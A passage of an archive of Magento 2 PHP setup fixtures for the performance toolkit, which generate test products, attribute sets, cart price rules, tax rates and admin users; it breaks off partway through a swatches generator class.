private function getConfigurableSkuPattern($config, $attributeSetName) { $sku = isset($config['sku']) ? $config['sku'] : null; if (!$sku) { $sku = 'Configurable Product ' . $attributeSetName . ' %s'; } if (false === strpos($sku, '%s')) { $sku .= ' %s'; } return $sku; } /** * Provide attribute set based on attributes configuration * * @param array $attributes * @return array */ private function getCustomAttributeSet(array $attributes) { $attributeSetHash = crc32($this->serializer->serialize($attributes)); $attributeSetName = sprintf('Dynamic Attribute Set %s', $attributeSetHash); $pattern = $this->attributePattern->generateAttributeSet( $attributeSetName, count($attributes), array_column($attributes, 'options'), function ($index, $attribute) use ($attributeSetName, $attributes, $attributeSetHash) { $swatch = []; $attributeCode = substr( sprintf('ca_%s_%s', $index, $attributeSetHash), 0, Attribute::ATTRIBUTE_CODE_MAX_LENGTH ); $data = [ 'attribute_code' => $attributeCode, 'frontend_label' => 'Dynamic Attribute ' . $attributeCode, ]; if (isset($attributes[$index - 1]['swatches'])) { $data['is_visible_in_advanced_search'] = 1; $data['is_searchable'] = 1; $data['is_filterable'] = 1; $data['is_filterable_in_search'] = 1; $data['used_in_product_listing'] = 1; $swatch = $this->swatchesGenerator->generateSwatchData( (int) $attributes[$index-1]['options'], $attributeSetName . $index, $attributes[$index-1]['swatches'] ); } return array_replace_recursive( $attribute, $data, $swatch ); } ); return $this->attributeSetsFixture->createAttributeSet($pattern); } /** * Get search configuration. * * @return array */ private function getSearchConfig() { if (!$this->searchConfig) { $this->searchConfig = $this->fixtureModel->getValue('search_config', null); } return $this->searchConfig; } /** * Get value of search configuration property. * * @param string $name * @return int|mixed */ private function getSearchConfigValue($name) { return $this->getSearchConfig() === null ? 0 : ($this->getSearchConfig()[$name] === null ? 0 : $this->getSearchConfig()[$name]); } /** * Get search terms. * * @return array */ private function getSearchTerms() { $searchTerms = $this->fixtureModel->getValue('search_terms', null); if ($searchTerms !== null) { $searchTerms = array_key_exists(0, $searchTerms['search_term']) ? $searchTerms['search_term'] : [$searchTerms['search_term']]; } else { $searchTerms = []; } return $searchTerms; } /** * Get configurable products variations value. * * @return int */ private function getConfigurableProductsVariationsValue() { return $this->fixtureModel->getValue('configurable_products_variation', 3); } /** * Get additional attributes closure. * * @param array $attributes * @param int $variationCount * @return \Closure * @SuppressWarnings(PHPMD.UnusedLocalVariable) */ private function getAdditionalAttributesClosure(array $attributes, $variationCount) { $optionsPerAttribute = array_map(function ($attr) { return count($attr['values']); }, $attributes); $variationsMatrix = $this->generateVariationsMatrix(count($attributes), $optionsPerAttribute); return function ($attributeSetId, $index, $entityNumber) use ($attributes, $variationCount, $variationsMatrix) { $variationIndex = $this->getConfigurableVariationIndex($entityNumber, $variationCount) - 1; if (isset($variationsMatrix[$variationIndex])) { $tempProductData = []; foreach ($variationsMatrix[$variationIndex] as $attributeIndex => $optionIndex) { $attributeCode = $attributes[$attributeIndex]['name']; $option = $attributes[$attributeIndex]['values'][$optionIndex]; $tempProductData[$attributeCode] = $option; } return $tempProductData; } return []; }; } /** * Generates matrix of all possible variations. * * @param int $attributesPerSet * @param int $optionsPerAttribute * @return array */ private function generateVariationsMatrix($attributesPerSet, $optionsPerAttribute) { $variationsMatrix = null; for ($i = 0; $i < $attributesPerSet; $i++) { $variationsMatrix[] = range(0, $optionsPerAttribute[$i] - 1); } return $this->generateVariations($variationsMatrix); } /** * Build all possible variations based on attributes and options count. * * @param array|null $variationsMatrix * @return array */ private function generateVariations($variationsMatrix) { if (!$variationsMatrix) { return [[]]; } $set = array_shift($variationsMatrix); $subset = $this->generateVariations($variationsMatrix); $result = []; foreach ($set as $value) { foreach ($subset as $subValue) { array_unshift($subValue, $value); $result[] = $subValue; } } return $result; } /** * Get configurable option sku pattern. * * @param string $skuPattern * @return string */ private function getConfigurableOptionSkuPattern($skuPattern) { return $skuPattern . ' - option %s'; } /** * Get description closure. * * @param array|null $searchTerms * @param int $simpleProductsCount * @param int $configurableProductsCount * @param int $maxAmountOfWordsDescription * @param int $minAmountOfWordsDescription * @param string $descriptionPrefix * @return \Closure */ private function getDescriptionClosure( $searchTerms, $simpleProductsCount, $configurableProductsCount, $maxAmountOfWordsDescription, $minAmountOfWordsDescription, $descriptionPrefix = 'description' ) { if (null === $this->dataGenerator) { $fileName = __DIR__ . DIRECTORY_SEPARATOR . '_files' . DIRECTORY_SEPARATOR . 'dictionary.csv'; $this->dataGenerator = new DataGenerator($fileName); } return function ($index) use ( $searchTerms, $simpleProductsCount, $configurableProductsCount, $maxAmountOfWordsDescription, $minAmountOfWordsDescription, $descriptionPrefix ) { $countSearchTerms = is_array($searchTerms) ? count($searchTerms) : 0; $count = !$searchTerms ? 0 : round( $searchTerms[$index % $countSearchTerms]['count'] * ( $configurableProductsCount / ($simpleProductsCount + $configurableProductsCount) ) ); // phpcs:ignore mt_srand($index); return $this->dataGenerator->generate( $minAmountOfWordsDescription, $maxAmountOfWordsDescription, $descriptionPrefix . '-' . $index ) . ($index <= ($count * $countSearchTerms) ? ' ' . $searchTerms[$index % $countSearchTerms]['term'] : ''); }; } /** * Convert attribute set data to db format for use in simple product generation * * @param array $attributeSet * @return array */ private function convertAttributesToDBFormat(array $attributeSet) { $attributeSetName = $attributeSet['name']; $attributeSetId = null; $attributes = []; foreach ($attributeSet['attributes'] as $attributeData) { $attributeCollection = $this->attributeCollectionFactory->create(); $attributeCollection->setAttributeSetFilterBySetName($attributeSetName, Product::ENTITY); $attributeCollection->addFieldToFilter( 'attribute_code', $attributeData['name'] ); /** @var Attribute $attribute */ foreach ($attributeCollection as $attribute) { $attributeSetId = $attribute->getAttributeSetId(); $values = []; $options = $attribute->getOptions(); foreach ($options ?: [] as $option) { if ($option->getValue()) { $values[] = $option->getValue(); } } $attributes[] = [ 'name' => $attribute->getAttributeCode(), 'id' => $attribute->getAttributeId(), 'values' => $values ]; } } return ['id' => $attributeSetId, 'name' => $attributeSetName, 'attributes' => $attributes]; } } Magento/Setup/Fixtures/ProductsAmountProvider.php000077700000002340151323623130016267 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; use Magento\Catalog\Model\ResourceModel\Product\CollectionFactory; /** * Provide amount of products which need to be generated by fixture */ class ProductsAmountProvider { /** * @var CollectionFactory */ private $productCollectionFactory; /** * @param CollectionFactory $collectionFactory */ public function __construct(CollectionFactory $collectionFactory) { $this->productCollectionFactory = $collectionFactory; } /** * Get amount of products filtered by specified pattern * * @param int $requestedProducts * @param string $productSkuPattern * @return int */ public function getAmount($requestedProducts, $productSkuPattern) { $productSkuPattern = str_replace('%s', '[0-9]+', $productSkuPattern); $productCollection = $this->productCollectionFactory->create(); $productCollection ->getSelect() ->where('sku ?', new \Zend_Db_Expr('REGEXP \'^' . $productSkuPattern . '$\'')); return max(0, $requestedProducts - $productCollection->getSize()); } } Magento/Setup/Fixtures/CartPriceRulesFixture.php000077700000041615151323623130016033 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; /** * Fixture for generating cart price rules * * Support the following format: * <!-- Number of cart price rules --> * <cart_price_rules>{int}</cart_price_rules> * * <!-- Number of conditions per rule --> * <cart_price_rules_floor>{int}</cart_price_rules_floor> * * @see setup/performance-toolkit/profiles/ce/small.xml */ class CartPriceRulesFixture extends Fixture { /** * @var int */ protected $priority = 80; /** * @var float */ protected $cartPriceRulesCount = 0; /** * @var float */ protected $cartPriceRulesProductsFloor = 3; /** * @var bool */ protected $cartRulesAdvancedType = false; /** * @var \Magento\SalesRule\Model\RuleFactory */ private $ruleFactory; /** * Constructor * * @param FixtureModel $fixtureModel * @param \Magento\SalesRule\Model\RuleFactory|null $ruleFactory */ public function __construct( FixtureModel $fixtureModel, \Magento\SalesRule\Model\RuleFactory $ruleFactory = null ) { parent::__construct($fixtureModel); $this->ruleFactory = $ruleFactory ?: $this->fixtureModel->getObjectManager() ->get(\Magento\SalesRule\Model\RuleFactory::class); } /** * @inheritdoc * @SuppressWarnings(PHPMD) */ public function execute() { $this->fixtureModel->resetObjectManager(); $this->cartPriceRulesCount = $this->fixtureModel->getValue('cart_price_rules', 0); if (!$this->cartPriceRulesCount) { return; } $this->cartRulesAdvancedType = $this->fixtureModel->getValue('cart_price_rules_advanced_type', false); $this->cartPriceRulesProductsFloor = $this->fixtureModel->getValue( 'cart_price_rules_floor', 3 ); /** @var \Magento\Store\Model\StoreManager $storeManager */ $storeManager = $this->fixtureModel->getObjectManager()->create(\Magento\Store\Model\StoreManager::class); /** @var $category \Magento\Catalog\Model\Category */ $category = $this->fixtureModel->getObjectManager()->get(\Magento\Catalog\Model\Category::class); //Get all websites $categoriesArray = []; $websites = $storeManager->getWebsites(); foreach ($websites as $website) { //Get all groups $websiteGroups = $website->getGroups(); foreach ($websiteGroups as $websiteGroup) { $websiteGroupRootCategory = $websiteGroup->getRootCategoryId(); $category->load($websiteGroupRootCategory); $categoryResource = $category->getResource(); //Get all categories $resultsCategories = $categoryResource->getAllChildren($category); foreach ($resultsCategories as $resultsCategory) { $category->load($resultsCategory); $structure = explode('/', $category->getPath()); if (count($structure) > 2) { $categoriesArray[] = [$category->getId(), $website->getId()]; } } } } asort($categoriesArray); $categoriesArray = array_values($categoriesArray); if ($this->cartRulesAdvancedType == false) { $this->generateRules($this->ruleFactory, $categoriesArray); } else { $this->generateAdvancedRules($this->ruleFactory, $categoriesArray); } } /** * Generate condition. * * @param int $ruleId * @param array $categoriesArray * @return array */ public function generateCondition($ruleId, $categoriesArray) { return [ 'conditions' => [ 1 => [ 'type' => \Magento\SalesRule\Model\Rule\Condition\Combine::class, 'aggregator' => 'all', 'value' => '1', 'new_child' => '', ], '1--1' => [ 'type' => \Magento\SalesRule\Model\Rule\Condition\Address::class, 'attribute' => 'total_qty', 'operator' => '>=', 'value' => $this->cartPriceRulesProductsFloor + $ruleId, ], '1--2' => [ 'type' => \Magento\SalesRule\Model\Rule\Condition\Product\Found::class, 'value' => '1', 'aggregator' => 'all', 'new_child' => '', ], '1--2--1' => [ 'type' => \Magento\SalesRule\Model\Rule\Condition\Product::class, 'attribute' => 'category_ids', 'operator' => '==', 'value' => $categoriesArray[$ruleId % count($categoriesArray)][0], ], ], 'actions' => [ 1 => [ 'type' => \Magento\SalesRule\Model\Rule\Condition\Product\Combine::class, 'aggregator' => 'all', 'value' => '1', 'new_child' => '', ], ], ]; } /** * Generate rules. * * @param \Magento\SalesRule\Model\RuleFactory $ruleFactory * @param array $categoriesArray * @return void */ public function generateRules($ruleFactory, $categoriesArray) { for ($i = 0; $i < $this->cartPriceRulesCount; $i++) { $ruleName = sprintf('Cart Price Rule %1$d', $i); $data = [ 'rule_id' => null, 'product_ids' => '', 'name' => $ruleName, 'description' => '', 'is_active' => '1', 'website_ids' => $categoriesArray[$i % count($categoriesArray)][1], 'customer_group_ids' => [ 0 => '0', 1 => '1', 2 => '2', 3 => '3', ], 'coupon_type' => '1', 'coupon_code' => '', 'uses_per_customer' => '', 'from_date' => '', 'to_date' => '', 'sort_order' => '', 'is_rss' => '1', 'rule' => $this->generateCondition($i, $categoriesArray), 'simple_action' => 'by_percent', 'discount_amount' => '10', 'discount_qty' => '0', 'discount_step' => '', 'apply_to_shipping' => '0', 'simple_free_shipping' => '0', 'stop_rules_processing' => '0', 'reward_points_delta' => '', 'store_labels' => [ 0 => '', 1 => '', 2 => '', 3 => '', 4 => '', 5 => '', 6 => '', 7 => '', 8 => '', 9 => '', 10 => '', 11 => '', ], 'page' => '1', 'limit' => '20', 'in_banners' => '', 'banner_id' => [ 'from' => '', 'to' => '', ], 'banner_name' => '', 'visible_in' => '', 'banner_is_enabled' => '', 'related_banners' => [], ]; if (isset($data['simple_action']) && $data['simple_action'] == 'by_percent' && isset($data['discount_amount']) ) { $data['discount_amount'] = min(100, $data['discount_amount']); } if (isset($data['rule']['conditions'])) { $data['conditions'] = $data['rule']['conditions']; } if (isset($data['rule']['actions'])) { $data['actions'] = $data['rule']['actions']; } unset($data['rule']); $model = $ruleFactory->create(); $model->loadPost($data); $useAutoGeneration = (int)!empty($data['use_auto_generation']); $model->setUseAutoGeneration($useAutoGeneration); $model->save(); } } /** * Generate advanced condition. * * @param int $ruleId * @param array $categoriesArray * @return array */ public function generateAdvancedCondition($ruleId, $categoriesArray) { // Generate only 200 region rules, the rest are based on category if ($ruleId < ($this->cartPriceRulesCount - 200)) { // Category $firstCondition = [ 'type' => \Magento\SalesRule\Model\Rule\Condition\Product::class, 'attribute' => 'category_ids', 'operator' => '==', 'value' => $categoriesArray[($ruleId / 4) % count($categoriesArray)][0], ]; $subtotal = [0, 5, 10, 15]; // Subtotal $secondCondition = [ 'type' => \Magento\SalesRule\Model\Rule\Condition\Address::class, 'attribute' => 'base_subtotal', 'operator' => '>=', 'value' => $subtotal[$ruleId % 4], ]; return [ 'conditions' => [ 1 => [ 'type' => \Magento\SalesRule\Model\Rule\Condition\Combine::class, 'aggregator' => 'all', 'value' => '1', 'new_child' => '', ], '1--1'=> [ 'type' => \Magento\SalesRule\Model\Rule\Condition\Product\Found::class, 'aggregator' => 'all', 'value' => '1', 'new_child' => '', ], '1--1--1' => $firstCondition, '1--2' => $secondCondition ], 'actions' => [ 1 => [ 'type' => \Magento\SalesRule\Model\Rule\Condition\Product\Combine::class, 'aggregator' => 'all', 'value' => '1', 'new_child' => '', ], ] ]; } else { // Shipping Region $regions = ['Alabama', 'Alaska', 'Arizona', 'Arkansas', 'California', 'Colorado', 'Connecticut', 'Delaware', 'District of Columbia', 'Florida', 'Georgia', 'Hawaii', 'Idaho', 'Illinois', 'Indiana', 'Iowa', 'Kansas', 'Kentucky', 'Louisiana', 'Maine', 'Maryland', 'Massachusetts', 'Michigan', 'Minnesota', 'Mississippi', 'Missouri', 'Montana', 'Nebraska', 'Nevada', 'New Hampshire', 'New Jersey', 'New Mexico', 'New York', 'North Carolina', 'North Dakota', 'Ohio', 'Oklahoma', 'Oregon', 'Pennsylvania', 'Rhode Island', 'South Carolina', 'South Dakota', 'Tennessee', 'Texas', 'Utah', 'Vermont', 'Virginia', 'Washington', 'West Virginia', 'Wisconsin', 'Wyoming']; $firstCondition = [ 'type' => \Magento\SalesRule\Model\Rule\Condition\Address::class, 'attribute' => 'region', 'operator' => '==', 'value' => $regions[($ruleId / 4) % 50], ]; $subtotals = [0, 5, 10, 15]; // Subtotal $secondCondition = [ 'type' => \Magento\SalesRule\Model\Rule\Condition\Address::class, 'attribute' => 'base_subtotal', 'operator' => '>=', 'value' => $subtotals[$ruleId % 4], ]; return [ 'conditions' => [ 1 => [ 'type' => \Magento\SalesRule\Model\Rule\Condition\Combine::class, 'aggregator' => 'all', 'value' => '1', 'new_child' => '', ], '1--1' => $firstCondition, '1--2' => $secondCondition ], 'actions' => [ 1 => [ 'type' => \Magento\SalesRule\Model\Rule\Condition\Product\Combine::class, 'aggregator' => 'all', 'value' => '1', 'new_child' => '', ], ] ]; } } /** * Generate advanced rules. * * @param \Magento\SalesRule\Model\RuleFactory $ruleFactory * @param array $categoriesArray * @return void */ public function generateAdvancedRules($ruleFactory, $categoriesArray) { $j = 0; for ($i = 0; $i < $this->cartPriceRulesCount; $i++) { if ($i < ($this->cartPriceRulesCount - 200)) { $ruleName = sprintf('Cart Price Advanced Catalog Rule %1$d', $j); } else { $ruleName = sprintf('Cart Price Advanced Region Rule %1$d', $j); } $j++; $data = [ 'rule_id' => null, 'product_ids' => '', 'name' => $ruleName, 'description' => '', 'is_active' => '1', 'website_ids' => $categoriesArray[$i % count($categoriesArray)][1], 'customer_group_ids' => [ 0 => '0', 1 => '1', 2 => '2', 3 => '3', ], 'coupon_type' => '1', 'coupon_code' => '', 'uses_per_customer' => '', 'from_date' => '', 'to_date' => '', 'sort_order' => '', 'is_rss' => '1', 'rule' => $this->generateAdvancedCondition($i, $categoriesArray), 'simple_action' => 'cart_fixed', 'discount_amount' => '1', 'discount_qty' => '0', 'discount_step' => '', 'apply_to_shipping' => '0', 'simple_free_shipping' => '0', 'stop_rules_processing' => '0', 'reward_points_delta' => '', 'store_labels' => [ 0 => '', 1 => '', 2 => '', 3 => '', 4 => '', 5 => '', 6 => '', 7 => '', 8 => '', 9 => '', 10 => '', 11 => '', ], 'page' => '1', 'limit' => '20', 'in_banners' => '', 'banner_id' => [ 'from' => '', 'to' => '', ], 'banner_name' => '', 'visible_in' => '', 'banner_is_enabled' => '', 'related_banners' => [], ]; if (isset($data['simple_action']) && $data['simple_action'] == 'cart_fixed' && isset($data['discount_amount']) ) { $data['discount_amount'] = min(1, $data['discount_amount']); } if (isset($data['rule']['conditions'])) { $data['conditions'] = $data['rule']['conditions']; } if (isset($data['rule']['actions'])) { $data['actions'] = $data['rule']['actions']; } unset($data['rule']); $model = $ruleFactory->create(); $model->loadPost($data); $useAutoGeneration = (int)!empty($data['use_auto_generation']); $model->setUseAutoGeneration($useAutoGeneration); $model->save(); } } /** * @inheritdoc */ public function getActionTitle() { return 'Generating cart price rules'; } /** * @inheritdoc */ public function introduceParamLabels() { return [ 'cart_price_rules' => 'Cart Price Rules' ]; } } Magento/Setup/Fixtures/WebsiteCategoryProvider.php000077700000010434151323623130016403 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Fixtures; use Magento\Framework\App\ResourceConnection; use Magento\Framework\DB\Adapter\AdapterInterface; /** * Website and category provider */ class WebsiteCategoryProvider { /** * @var array */ private $categoriesPerWebsite; /** * @var FixtureConfig */ private $fixtureConfig; /** * @var ResourceConnection */ private $resourceConnection; /** * @var AdapterInterface */ private $connection; /** * @var array */ private $websites; /** * @var array */ private $categories; /** * @param FixtureConfig $fixtureConfig * @param ResourceConnection $resourceConnection */ public function __construct( FixtureConfig $fixtureConfig, ResourceConnection $resourceConnection ) { $this->fixtureConfig = $fixtureConfig; $this->resourceConnection = $resourceConnection; } /** * Get websites for $productIndex product * * @param int $productIndex Index of generated product * @return array * @throws \Exception */ public function getWebsiteIds($productIndex) { if ($this->isAssignToAllWebsites()) { return $this->getAllWebsites(); } else { $categoriesPerWebsite = $this->getCategoriesAndWebsites(); if (!count($categoriesPerWebsite)) { throw new \Exception('Cannot find categories. Please, be sure that you have generated categories'); } return [$categoriesPerWebsite[$productIndex % count($categoriesPerWebsite)]['website']]; } } /** * Get product if for $productIndex product * * @param int $productIndex * @return int */ public function getCategoryId($productIndex) { if ($this->isAssignToAllWebsites()) { $categories = $this->getAllCategories(); return $categories[$productIndex % count($categories)]; } else { $categoriesPerWebsite = $this->getCategoriesAndWebsites(); return $categoriesPerWebsite[$productIndex % count($categoriesPerWebsite)]['category']; } } /** * Get categories and websites * * @return array */ private function getCategoriesAndWebsites() { if (null === $this->categoriesPerWebsite) { $select = $this->getConnection()->select() ->from( ['c' => $this->resourceConnection->getTableName('catalog_category_entity')], ['category' => 'entity_id'] )->join( ['sg' => $this->resourceConnection->getTableName('store_group')], "c.path like concat('1/', sg.root_category_id, '/%')", ['website' => 'website_id'] )->order('category ASC'); $this->categoriesPerWebsite = $this->getConnection()->fetchAll($select); } return $this->categoriesPerWebsite; } /** * Checks is assign_entities_to_all_websites flag set * * @return bool */ private function isAssignToAllWebsites() { return (bool)$this->fixtureConfig->getValue('assign_entities_to_all_websites', false); } /** * Provides all websites * * @return array */ private function getAllWebsites() { if (null === $this->websites) { $this->websites = array_unique(array_column($this->getCategoriesAndWebsites(), 'website')); } return $this->websites; } /** * Provides all categories * * @return array */ private function getAllCategories() { if (null === $this->categories) { $this->categories = array_values(array_unique(array_column($this->getCategoriesAndWebsites(), 'category'))); } return $this->categories; } /** * Provides connection * * @return AdapterInterface */ private function getConnection() { if (null === $this->connection) { $this->connection = $this->resourceConnection->getConnection(); } return $this->connection; } } Magento/Setup/Fixtures/TaxRatesFixture.php000077700000004367151323623130014702 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; /** * Fixture for generating tax rates fixture * * Support the following format: * <!-- Accepts name of csv file with tax rates (<path to magento folder>/setup/src/Magento/Setup/Fixtures/_files) --> * <tax_rates_file>{csv file name}</tax_rates_file> * * @see setup/performance-toolkit/profiles/ce/small.xml */ class TaxRatesFixture extends Fixture { /** * @var int */ protected $priority = 100; /** * {@inheritdoc} */ public function execute() { $taxRatesFile = $this->fixtureModel->getValue('tax_rates_file', null); if (empty($taxRatesFile)) { return; } $this->fixtureModel->resetObjectManager(); /** Clean predefined tax rates to maintain consistency */ /** @var $collection \Magento\Tax\Model\ResourceModel\Calculation\Rate\Collection */ $collection = $this->fixtureModel->getObjectManager() ->get(\Magento\Tax\Model\ResourceModel\Calculation\Rate\Collection::class); /** @var $model \Magento\Tax\Model\Calculation\Rate */ $model = $this->fixtureModel->getObjectManager() ->get(\Magento\Tax\Model\Calculation\Rate::class); foreach ($collection->getAllIds() as $id) { $model->setId($id); $model->delete(); } /** * Import tax rates with import handler */ $filename = realpath(__DIR__ . DIRECTORY_SEPARATOR . "_files" . DIRECTORY_SEPARATOR . $taxRatesFile); $file = [ 'name' => $filename, 'type' => 'fixtureModel/vnd.ms-excel', 'tmp_name' => $filename, 'error' => 0, 'size' => filesize($filename), ]; $importHandler = $this->fixtureModel->getObjectManager() ->create(\Magento\TaxImportExport\Model\Rate\CsvImportHandler::class); $importHandler->importFromCsvFile($file); } /** * {@inheritdoc} */ public function getActionTitle() { return 'Generating tax rates'; } /** * {@inheritdoc} */ public function introduceParamLabels() { return []; } } Magento/Setup/Fixtures/AdminUsersFixture.php000077700000007560151323623130015217 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; use Magento\Authorization\Model\Acl\Role\Group; use Magento\Authorization\Model\RoleFactory; use Magento\Authorization\Model\RulesFactory; use Magento\Authorization\Model\UserContextInterface; use Magento\Framework\Acl\RootResource; use Magento\User\Model\ResourceModel\User\CollectionFactory as UserCollectionFactory; use Magento\User\Model\UserFactory; /** * Generate admin users * * Support the following format: * <!-- Number of admin users --> * <admin_users>{int}</admin_users> */ class AdminUsersFixture extends Fixture { /** * @var int */ protected $priority = 5; /** * @var UserFactory */ private $userFactory; /** * @var RoleFactory */ private $roleFactory; /** * @var UserCollectionFactory */ private $userCollectionFactory; /** * @var RulesFactory */ private $rulesFactory; /** * @var RootResource */ private $rootResource; /** * @param FixtureModel $fixtureModel * @param UserFactory $userFactory * @param UserCollectionFactory $userCollectionFactory * @param RoleFactory $roleFactory * @param RulesFactory $rulesFactory * @param RootResource $rootResource */ public function __construct( FixtureModel $fixtureModel, UserFactory $userFactory, UserCollectionFactory $userCollectionFactory, RoleFactory $roleFactory, RulesFactory $rulesFactory, RootResource $rootResource ) { parent::__construct($fixtureModel); $this->userFactory = $userFactory; $this->roleFactory = $roleFactory; $this->userCollectionFactory = $userCollectionFactory; $this->rulesFactory = $rulesFactory; $this->rootResource = $rootResource; } /** * {@inheritdoc} */ public function execute() { $adminUsersNumber = $this->fixtureModel->getValue('admin_users', 0); $adminUsersStartIndex = $this->userCollectionFactory->create()->getSize(); if ($adminUsersStartIndex >= $adminUsersNumber) { return; } $role = $this->createAdministratorRole(); for ($i = $adminUsersStartIndex; $i <= $adminUsersNumber; $i++) { $adminUser = $this->userFactory->create(); $adminUser->setRoleId($role->getId()) ->setEmail('admin' . $i . '@example.com') ->setFirstName('Firstname') ->setLastName('Lastname') ->setUserName('admin' . $i) ->setPassword('123123q') ->setIsActive(1); $adminUser->save(); } } /** * {@inheritdoc} */ public function getActionTitle() { return 'Generating admin users'; } /** * {@inheritdoc} */ public function introduceParamLabels() { return [ 'admin_users' => 'Admin Users' ]; } /** * Create administrator role with all privileges. * * @return \Magento\Authorization\Model\Role */ private function createAdministratorRole() { $role = $this->roleFactory->create(); $role->setParentId(0) ->setTreeLevel(1) ->setSortOrder(1) ->setRoleType(Group::ROLE_TYPE) ->setUserId(0) ->setUserType(UserContextInterface::USER_TYPE_ADMIN) ->setRoleName('Example Administrator'); $role->save(); /** @var \Magento\Authorization\Model\Rules $rule */ $rule = $this->rulesFactory->create(); $rule->setRoleId($role->getId()) ->setResourceId($this->rootResource->getId()) ->setPrivilegies(null) ->setPermission('allow'); $rule->save(); return $role; } } Magento/Setup/Fixtures/AttributeSetsFixture.php000077700000006476151323623130015754 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; /** * Fixture for Attribute Sets and Attributes based on the configuration * * Support the following format: * <!-- Number of product attribute sets --> * <product_attribute_sets>{int}</product_attribute_sets> * * <!-- Number of attributes per set --> * <product_attribute_sets_attributes>{int}</product_attribute_sets_attributes> * * <!-- Number of values per attribute --> * <product_attribute_sets_attributes_values>{int}</product_attribute_sets_attributes_values> * * @see setup/performance-toolkit/profiles/ce/small.xml */ class AttributeSetsFixture extends Fixture { /** Name of generated attribute set */ const PRODUCT_SET_NAME = 'Product Set '; /** * @var int */ protected $priority = 25; /** * @var AttributeSet\AttributeSetFixture */ private $attributeSetsFixture; /** * @var AttributeSet\Pattern */ private $pattern; /** * @param FixtureModel $fixtureModel * @param AttributeSet\AttributeSetFixture $attributeSetsFixture * @param AttributeSet\Pattern $pattern */ public function __construct( FixtureModel $fixtureModel, AttributeSet\AttributeSetFixture $attributeSetsFixture, \Magento\Setup\Fixtures\AttributeSet\Pattern $pattern ) { parent::__construct($fixtureModel); $this->attributeSetsFixture = $attributeSetsFixture; $this->pattern = $pattern; } /** * {@inheritdoc} */ public function execute() { $attributeSets = $this->fixtureModel->getValue('attribute_sets', null); if ($attributeSets !== null) { foreach ($attributeSets['attribute_set'] as $attributeSetData) { $this->attributeSetsFixture->createAttributeSet($attributeSetData); } } $attributeSetsCount = $this->fixtureModel->getValue('product_attribute_sets', null); if ($attributeSetsCount !== null) { for ($index = 1; $index <= $attributeSetsCount; $index++) { $this->attributeSetsFixture->createAttributeSet( $this->pattern->generateAttributeSet( self::PRODUCT_SET_NAME . $index, $this->fixtureModel->getValue('product_attribute_sets_attributes', 3), $this->fixtureModel->getValue('product_attribute_sets_attributes_values', 3), function ($attributeIndex, $attribute) use ($index) { return array_replace_recursive( $attribute, [ 'attribute_code' => "attribute_set{$index}_" . $attributeIndex, ] ); } ) ); } } } /** * {@inheritdoc} */ public function getActionTitle() { return 'Generating attribute sets'; } /** * {@inheritdoc} */ public function introduceParamLabels() { return [ 'attribute_sets' => 'Attribute Sets (Default)', 'product_attribute_sets' => 'Attribute Sets (Extra)' ]; } } Magento/Setup/Fixtures/AttributeSet/Pattern.php000077700000005547151323623130015635 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Fixtures\AttributeSet; /** * Generate Data for Fixture to create an Attribute Set with specified pattern. */ class Pattern { /** * @var array */ private $attributePattern = [ 'is_required' => 1, 'is_visible_on_front' => 1, 'is_visible_in_advanced_search' => 0, 'attribute_code' => 'attribute_', 'backend_type' => '', 'is_searchable' => 0, 'is_filterable' => 0, 'is_filterable_in_search' => 0, 'frontend_label' => 'Attribute ', 'frontend_input' => 'select', ]; /** * Generate Data for Fixture to create an Attribute Set with specified pattern. * * @param string $name * @param int $attributesPerSet * @param int $optionsPerAttribute * @param callable $attributePattern callback in f($index, $attributeData) format * @return array */ public function generateAttributeSet( $name, $attributesPerSet, $optionsPerAttribute, $attributePattern = null ) { $attributeSet = [ 'name' => $name, 'attributes' => [] ]; for ($index = 1; $index <= $attributesPerSet; $index++) { $attributeData = $this->generateAttribute( $index, is_array($optionsPerAttribute) ? $optionsPerAttribute[$index - 1] : $optionsPerAttribute ); if (is_callable($attributePattern)) { $attributeData = $attributePattern($index, $attributeData); } $attributeSet['attributes']['attribute'][] = $attributeData; } return $attributeSet; } /** * Generate Attributes for Set. * * @param int $index * @param int $optionsPerAttribute * @return array */ private function generateAttribute($index, $optionsPerAttribute) { $attribute = $this->attributePattern; // copy pattern $attribute['attribute_code'] = $attribute['attribute_code'] . $index; $attribute['frontend_label'] = $attribute['frontend_label'] . $index; $attribute['options'] = ['option' => $this->generateOptions($optionsPerAttribute)]; $attribute['default_value'] = $attribute['options']['option'][0]['value']; return $attribute; } /** * Generate Options for Attribute. * * @param int $optionsPerAttribute * @return array */ private function generateOptions($optionsPerAttribute) { $options = []; for ($index = 1; $index <= $optionsPerAttribute; $index++) { $options[] = [ 'label' => 'option ' . $index, 'value' => 'option_' . $index ]; } return $options; } } Magento/Setup/Fixtures/AttributeSet/SwatchesGenerator.php000077700000010231151323623130017632 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures\AttributeSet; use Magento\Framework\App\Filesystem\DirectoryList; use Magento\Swatches\Model\Swatch; /** * Generates data for creating Visual Swatch attributes of "image" and "color" types. */ class SwatchesGenerator { /** * Generated swatch image width in pixels. * * @var int */ const GENERATED_SWATCH_WIDTH = 110; /** * Generated swatch image height in pixels. * * @var int */ const GENERATED_SWATCH_HEIGHT = 90; /** * File name for temporary swatch image file. * * @var string */ const GENERATED_SWATCH_TMP_NAME = 'tmp_swatch.jpg'; /** * @var \Magento\Swatches\Helper\Media */ private $swatchHelper; /** * @var \Magento\Setup\Fixtures\ImagesGenerator\ImagesGeneratorFactory */ private $imagesGeneratorFactory; /** * @var \Magento\Setup\Fixtures\ImagesGenerator\ImagesGenerator */ private $imagesGenerator; /** * @param \Magento\Swatches\Helper\Media $swatchHelper * @param \Magento\Setup\Fixtures\ImagesGenerator\ImagesGeneratorFactory $imagesGeneratorFactory */ public function __construct( \Magento\Swatches\Helper\Media $swatchHelper, 